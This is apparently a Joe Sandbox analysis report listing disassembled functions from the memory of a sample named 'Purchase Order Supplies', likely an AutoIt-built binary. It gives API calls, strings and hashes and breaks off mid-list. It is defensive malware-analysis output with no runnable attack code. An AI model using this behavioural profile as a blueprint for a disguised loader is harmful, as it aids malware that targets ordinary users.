Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 1d0c222e767ad2913d759dd05fe79fa4c2c1c07b56fb728282d2b54353ef7683
Instruction ID: 80fd928945b87b014af2919869f76abef92ce41425a6e8fce25f82b5bbf7b0e5
Opcode Fuzzy Hash: 1d0c222e767ad2913d759dd05fe79fa4c2c1c07b56fb728282d2b54353ef7683
Instruction Fuzzy Hash: 85214F75600219BF9B109BA9DC88CFB73ADEB09360B558126FE15DB360DB74ED418760

Function 00CD69F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C931B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00C931DA

lstrcmpiW.KERNEL32(?,?), ref: 00CD6A2B
_wcscmp.LIBCMT ref: 00CD6A49
MoveFileW.KERNEL32(?,?), ref: 00CD6A62

Part of subcall function 00CD6D6D: GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00CD6DBA
Part of subcall function 00CD6D6D: GetLastError.KERNEL32 ref: 00CD6DC5
Part of subcall function 00CD6D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00CD6DD9

_wcscat.LIBCMT ref: 00CD6AA4
SHFileOperationW.SHELL32(?), ref: 00CD6B0C

Strings

\*.*, xrefs: 00CD6A9E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPath_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 2323102230-1173974218
Opcode ID: 258f592e8cada9548dad8a2a2df623ea08a0326fb8b92afc4bc1ff822e997699
Instruction ID: ed6e0e9bc8afcc61e97a74113ceea8b61f26bd51505f413207b832f35f6932c0
Opcode Fuzzy Hash: 258f592e8cada9548dad8a2a2df623ea08a0326fb8b92afc4bc1ff822e997699
Instruction Fuzzy Hash: 6F3134719002186ACF50EFB4D845BDDB7B8AF08300F5445EBE519E3251EB349B89DF64

Function 00CD2FCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CD2FE0
__wcsnicmp.LIBCMT ref: 00CD3001
__wcsnicmp.LIBCMT ref: 00CD301B

Strings

#OnAutoItStartRegister, xrefs: 00CD3015
#requireadmin, xrefs: 00CD2FFB
#notrayicon, xrefs: 00CD2FD8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: ed84cadcf84f2d7a6e3fd5d79b2d241c6f6fdf83c9a1fb2dad29031b049ba7ca
Instruction ID: f68a95437f6dbb24b8102ffeba2da14142726b82668cf6d3f0396cee4a36e8f2
Opcode Fuzzy Hash: ed84cadcf84f2d7a6e3fd5d79b2d241c6f6fdf83c9a1fb2dad29031b049ba7ca
Instruction Fuzzy Hash: 832149721042617AC230F7759C06EFB73E89F75304F144427FA9687291EB91AB82E2A2

Function 00CD17C8 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CD180D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CD1833
SysAllocString.OLEAUT32(00000000), ref: 00CD1836
SysAllocString.OLEAUT32 ref: 00CD1857
SysFreeString.OLEAUT32 ref: 00CD1860
StringFromGUID2.COMBASE(?,?,00000028), ref: 00CD187A
SysAllocString.OLEAUT32(?), ref: 00CD1888

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: ce55f2d096a38d93f8241f9a2c16a0395edea0af276b2470d2feac6b9cfca742
Instruction ID: e50c3ad660a7ba932491ae646abfac3b66243138086333b5d605bce2228cf164
Opcode Fuzzy Hash: ce55f2d096a38d93f8241f9a2c16a0395edea0af276b2470d2feac6b9cfca742
Instruction Fuzzy Hash: 76216075600204BF9B10DBE9DC88DAE77ECEB09360B458126FA15DB3A4DB74ED819B60

Function 00CFA0D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAC619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CAC657
Part of subcall function 00CAC619: GetStockObject.GDI32(00000011), ref: 00CAC66B
Part of subcall function 00CAC619: SendMessageW.USER32(00000000,00000030,00000000), ref: 00CAC675

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00CFA13B
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00CFA148
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00CFA153
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00CFA162
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00CFA16E

Strings

Msctls_Progress32, xrefs: 00CFA10C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: bf836a56526e8307868bf9dcebdeacc20b7cea35eb89fb4fbd704c05e37f95ee
Instruction ID: 9a4c7283bf355c60f0a4afe20bce02ee231689f5c208ab2057451b3d604057ed
Opcode Fuzzy Hash: bf836a56526e8307868bf9dcebdeacc20b7cea35eb89fb4fbd704c05e37f95ee
Instruction Fuzzy Hash: 491193B114021DBEEF154F61CC85EEB7F6DEF08798F018115FB08A6090C6729C21DBA0

Function 00CB4C3D Relevance: 10.5, APIs: 7, Instructions: 47threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00CB4C3E

Part of subcall function 00CB86B5: GetLastError.KERNEL32(?,00CB0127,00CB88A3,00CB4673,?,?,00CB0127,?,00C9125D,00000058,?,?), ref: 00CB86B7
Part of subcall function 00CB86B5: __calloc_crt.LIBCMT ref: 00CB86D8
Part of subcall function 00CB86B5: GetCurrentThreadId.KERNEL32 ref: 00CB8701
Part of subcall function 00CB86B5: SetLastError.KERNEL32(00000000,00CB0127,00CB88A3,00CB4673,?,?,00CB0127,?,00C9125D,00000058,?,?), ref: 00CB8719

CloseHandle.KERNEL32(?,?,00CB4C1D), ref: 00CB4C52
__freeptd.LIBCMT ref: 00CB4C59
RtlExitUserThread.NTDLL(00000000,?,00CB4C1D), ref: 00CB4C61
GetLastError.KERNEL32(?,?,00CB4C1D), ref: 00CB4C91
RtlExitUserThread.NTDLL(00000000,?,?,00CB4C1D), ref: 00CB4C98
__freefls@4.LIBCMT ref: 00CB4CB4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLastThread$ExitUser$CloseCurrentHandle__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 1445074172-0
Opcode ID: 512668113e0f041b776bf6e7e5adae43e0e86b328c904d33b23df65ea417ad9b
Instruction ID: b121d58119c4d264296f2ad7c113bdfda610f0ed8bc989444428f2d2d471e97d
Opcode Fuzzy Hash: 512668113e0f041b776bf6e7e5adae43e0e86b328c904d33b23df65ea417ad9b
Instruction Fuzzy Hash: DB01DF70405701AFD718BBB4D90A9CE7BEAEF04714F108518F929CB253EF34D94ADAA1

Function 00CAC697 Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00CAC6C0
GetWindowRect.USER32(?,?), ref: 00CAC701
ScreenToClient.USER32(?,?), ref: 00CAC729
GetClientRect.USER32(?,?), ref: 00CAC856
GetWindowRect.USER32(?,?), ref: 00CAC86F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 519d86e82d613f48a681a5921c2de0eb0a7ae781f40b1d042de4e9bc2d57f9c7
Instruction ID: 03f3e7296d742158a31371060c989436222bd88679f8999c2a149616b15f73a8
Opcode Fuzzy Hash: 519d86e82d613f48a681a5921c2de0eb0a7ae781f40b1d042de4e9bc2d57f9c7
Instruction Fuzzy Hash: EAB1607990024ADBDF10CFA9C5807EDBBB1FF09314F149529EC69EB294DB34AA40CB64

Function 00CD9569 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CD96BC
_memmove.LIBCMT ref: 00CD95F7

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

_memmove.LIBCMT ref: 00CD966A
_memmove.LIBCMT ref: 00CD9751
_memmove.LIBCMT ref: 00CD976A
_memmove.LIBCMT ref: 00CD9786

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 3cd69ee615229ba2ecfd3414ae9f88e9e9d68840e897ffa2ecb1c29f758a9b95
Instruction ID: bc5055ee097a478437545ac7f6ffd8b71dbb2d63d2412e780cfafb0fbafc843f
Opcode Fuzzy Hash: 3cd69ee615229ba2ecfd3414ae9f88e9e9d68840e897ffa2ecb1c29f758a9b95
Instruction Fuzzy Hash: 32619D3451020AABCF05EF64CC86EFE37A9EF05308F04455AF95A6B292EB34DD06EB51

Function 00CF1AD0 Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00CF1B09
Process32FirstW.KERNEL32(00000000,?), ref: 00CF1B17
__wsplitpath.LIBCMT ref: 00CF1B45

Part of subcall function 00CB297D: __wsplitpath_helper.LIBCMT ref: 00CB29BD

_wcscat.LIBCMT ref: 00CF1B5A
Process32NextW.KERNEL32(00000000,?), ref: 00CF1BD0
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00CF1BE2

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 1380811348-0
Opcode ID: adc8a4514ea2fa400bda372a57136a8565f2e9124c942ce2aaf42c851fcc8665
Instruction ID: 579775a6fb76ea960eceebc65ddce89308767c1412c0a0c18c4642eba50bc05a
Opcode Fuzzy Hash: adc8a4514ea2fa400bda372a57136a8565f2e9124c942ce2aaf42c851fcc8665
Instruction Fuzzy Hash: B1518E71504305AFC710EF24C885EABB7E8EF89754F04491EF989D7251EB70EA45CBA2

Function 00CF2EC7 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

Part of subcall function 00CF3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00CF2AA6,?,?), ref: 00CF3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00CF2FA0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00CF2FE0
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00CF3003
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00CF302C
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00CF306F
RegCloseKey.ADVAPI32(00000000), ref: 00CF307C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 7b64f2fdcff589ba6b73c854aa5318854dfc42939dabb6a89e14ff117aea595e
Instruction ID: 05c4783e2db766116c309472a773cb091a991e5c77c0b48deda4b258e892b447
Opcode Fuzzy Hash: 7b64f2fdcff589ba6b73c854aa5318854dfc42939dabb6a89e14ff117aea595e
Instruction Fuzzy Hash: A4514931218205AFCB04EF64C885E6EBBF9FF88304F04491EF656972A1DB71EA05DB52

Function 00CADB8C Relevance: 9.2, APIs: 6, Instructions: 160COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00CADCC0
_wcscat.LIBCMT ref: 00CADCC7
_wcscpy.LIBCMT ref: 00D03CCB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction ID: 30df9e30fce4a65eb3d508503e925a1a742dd765144de7d05e221fdb05f45877
Opcode Fuzzy Hash: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction Fuzzy Hash: BF51E230900216ABCB21AF99D4419FDB7B0EF06728F94404AF593AB691DB745F82E7A4

Function 00CD2ADC Relevance: 9.2, APIs: 6, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CD2AF6
VariantClear.OLEAUT32(00000013), ref: 00CD2B68
VariantClear.OLEAUT32(00000000), ref: 00CD2BC3
_memmove.LIBCMT ref: 00CD2BED
VariantClear.OLEAUT32(?), ref: 00CD2C3A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00CD2C68

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 724fd2e1d3ad27ba2529000fc5b21462f92193b5952707d48e4fb342a1537482
Instruction ID: 2b0d3890baa7d3d914d709ca59b8e616b3d39dc178c1ab757ba888c7741f876c
Opcode Fuzzy Hash: 724fd2e1d3ad27ba2529000fc5b21462f92193b5952707d48e4fb342a1537482
Instruction Fuzzy Hash: 1A517CB5A00209EFDB14CF58C880AAAB7F9FF9C314B15855AEA59DB310D730E951CFA0

Function 00CF82DB Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00CF833D
GetMenuItemCount.USER32(00000000), ref: 00CF8374
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00CF839C
GetMenuItemID.USER32(?,?), ref: 00CF840B
GetSubMenu.USER32(?,?), ref: 00CF8419
PostMessageW.USER32(?,00000111,?,00000000), ref: 00CF846A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 06641996c810d68668215f672c68f2165a681aa6cdb663c0f45152ee589ac419
Instruction ID: 0da94eb0ae486b6cd525dd184e3a92959c824b86277fb691d9dd9dd5097f9e3a
Opcode Fuzzy Hash: 06641996c810d68668215f672c68f2165a681aa6cdb663c0f45152ee589ac419
Instruction Fuzzy Hash: A951AE71E0021AAFCF01DFA4C855AEEBBF5EF48710F158459EA11BB361CB30AE459B91

Function 00CE936F Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 00CE9409
WSAGetLastError.WS2_32(00000000), ref: 00CE9416
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 00CE943A
_strlen.LIBCMT ref: 00CE9484
_memmove.LIBCMT ref: 00CE94CA
WSAGetLastError.WS2_32(00000000), ref: 00CE94F7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLast$_memmove_strlenselect
String ID:
API String ID: 2795762555-0
Opcode ID: a0c103c13d39e1bb9157d666792f4d05fb9faff297863095c73f782a8fadf995
Instruction ID: 23f4cc49b55ffdfb2bc9dbfcb1ed041730a4aad1a7b45086df575c601ffe6c9c
Opcode Fuzzy Hash: a0c103c13d39e1bb9157d666792f4d05fb9faff297863095c73f782a8fadf995
Instruction Fuzzy Hash: B6417075600208AFCB14EBA5CD89EEEB7B9EF58310F208169F516972D1DB30AE41DB60

Function 00CD54E0 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CD552E
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CD5579
IsMenu.USER32(00000000), ref: 00CD5599
CreatePopupMenu.USER32 ref: 00CD55CD
GetMenuItemCount.USER32(000000FF), ref: 00CD562B
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00CD565C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 7d6490a2de8c6079e10127dc3d40fcb91806b5447e827ae77865832ec6d68b54
Instruction ID: a73c73c390f13a40d55212acbad453b0385146c897dc0bd5aa43177a6abefb0e
Opcode Fuzzy Hash: 7d6490a2de8c6079e10127dc3d40fcb91806b5447e827ae77865832ec6d68b54
Instruction Fuzzy Hash: 3D51D070600A05EFDF11CF68D888BADBBF5AF15318F50411AF6259B390E770DA46CB61

Function 00CAB18C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

BeginPaint.USER32(?,?,?,?,?,?), ref: 00CAB1C1
GetWindowRect.USER32(?,?), ref: 00CAB225
ScreenToClient.USER32(?,?), ref: 00CAB242
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00CAB253
EndPaint.USER32(?,?), ref: 00CAB29D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
